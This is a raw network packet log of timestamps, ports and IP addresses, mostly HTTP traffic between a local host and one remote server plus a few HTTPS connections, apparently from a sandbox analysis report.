Oct 7, 2024 18:43:18.272336006 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272350073 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272361994 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.272362947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272371054 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.272377968 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272391081 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272403955 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.272404909 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272423983 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.272428036 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272442102 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272453070 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.272458076 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272469997 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272480965 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.272484064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272495031 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.272499084 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272512913 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272525072 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.272533894 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272546053 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272547007 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.272559881 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272568941 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.272573948 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272587061 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272594929 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.272600889 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272614956 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.272614956 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272624016 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.272629976 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272644043 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272651911 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.272659063 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.272660971 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272682905 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.272705078 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.272974968 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.272989988 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.273004055 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.273016930 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.273025036 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.273032904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.273042917 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.273046970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.273061991 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.273067951 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.273077011 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.273081064 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.273106098 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.273117065 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.273257017 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.273272038 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.273287058 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.273303032 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.273343086 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.273350000 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.273364067 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.273392916 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.273417950 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.273602962 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.273617029 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.273629904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.273650885 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.273667097 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.308106899 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.308125019 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.308147907 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.308190107 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.308202982 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.308218002 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.308233023 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.308233976 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.308310986 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.386691093 CEST	443	49707	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.387269020 CEST	49707	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.387288094 CEST	443	49707	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.387790918 CEST	49707	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.387800932 CEST	443	49707	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.388858080 CEST	443	49709	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.389312983 CEST	49709	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.389334917 CEST	443	49709	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.389736891 CEST	49709	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.389741898 CEST	443	49709	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.391815901 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.392172098 CEST	49708	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.392199039 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.393171072 CEST	49708	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.393179893 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.400259018 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.400274992 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.400290012 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.400302887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.400317907 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.400331974 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.400346041 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.400347948 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.400407076 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.405380964 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.405396938 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.405411005 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.405462027 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.405503035 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.405514002 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.405529022 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.405550957 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.405559063 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.405566931 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.405570984 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.405576944 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.405584097 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.405591011 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.405639887 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.405692101 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.405776978 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.405817032 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.405865908 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.405880928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.405894995 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.405909061 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.405915976 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.405922890 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.405931950 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.405946016 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.405946016 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.405958891 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.405961037 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.405976057 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.405978918 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.405991077 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.405991077 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406019926 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.406044006 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.406061888 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406075954 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406090021 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406102896 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406105042 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.406119108 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.406137943 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.406140089 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406157970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406197071 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.406208992 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406214952 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.406245947 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.406316042 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406331062 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406346083 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406358004 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.406361103 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406368971 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406373024 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.406379938 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406461954 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.406668901 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406682968 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406696081 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406708956 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406722069 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406733036 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.406737089 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406749964 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.406753063 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406765938 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406785011 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.406799078 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.406819105 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406833887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406857967 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.406881094 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.406975031 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.406989098 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407002926 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407015085 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.407018900 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407027006 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.407035112 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407047987 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.407049894 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407066107 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.407111883 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.407128096 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407166958 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.407305956 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407320023 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407356977 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407366037 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.407371044 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407387018 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.407393932 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407397032 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.407408953 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407423973 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407423973 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.407438040 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407439947 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.407453060 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407459974 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.407469988 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407488108 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.407510042 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.407535076 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407579899 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.407636881 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407650948 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407665968 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407679081 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407689095 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.407692909 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407701969 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.407708883 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407732964 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.407744884 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.407774925 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407788992 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407795906 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407802105 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407809019 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407819986 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407835007 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407850027 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.407857895 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.407902956 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.408039093 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408056021 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408070087 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408083916 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408091068 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.408099890 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408102989 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408103943 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.408106089 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408107996 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408111095 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408118963 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.408165932 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408180952 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408194065 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408195019 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.408209085 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408224106 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408231020 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.408240080 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408261061 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408268929 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.408274889 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408283949 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.408291101 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408304930 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408318043 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.408318996 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408324003 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.408334970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408349037 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408349991 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.408364058 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.408364058 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408379078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408384085 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.408407927 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.408411980 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408442974 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.408503056 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.408678055 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408699989 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408714056 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.408716917 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.408729076 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.408755064 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.409734964 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.409749985 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.409761906 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.409776926 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.409792900 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.409827948 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.431560993 CEST	443	49706	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.432172060 CEST	49706	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.432200909 CEST	443	49706	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.432638884 CEST	49706	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.432646036 CEST	443	49706	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.433679104 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.433696032 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.433711052 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.433725119 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.433737993 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.433744907 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.433753014 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.433767080 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.433769941 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.433794022 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.433840036 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.443933964 CEST	443	49710	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.444439888 CEST	49710	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.444449902 CEST	443	49710	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.444900036 CEST	49710	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.444905043 CEST	443	49710	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.504944086 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.504967928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.504995108 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.505007029 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.505012989 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.505031109 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.505033970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.505048990 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.505053997 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.505073071 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.505079031 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.505101919 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.505104065 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.505119085 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.505140066 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.508557081 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.508575916 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.508595943 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.508608103 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.508624077 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.508635044 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.508642912 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.508665085 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.508667946 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.508692980 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.508697987 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.508709908 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.508718014 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.508740902 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.508752108 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.508994102 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.509011984 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.509031057 CEST	80	49699	46.8.231.109	192.168.2.7
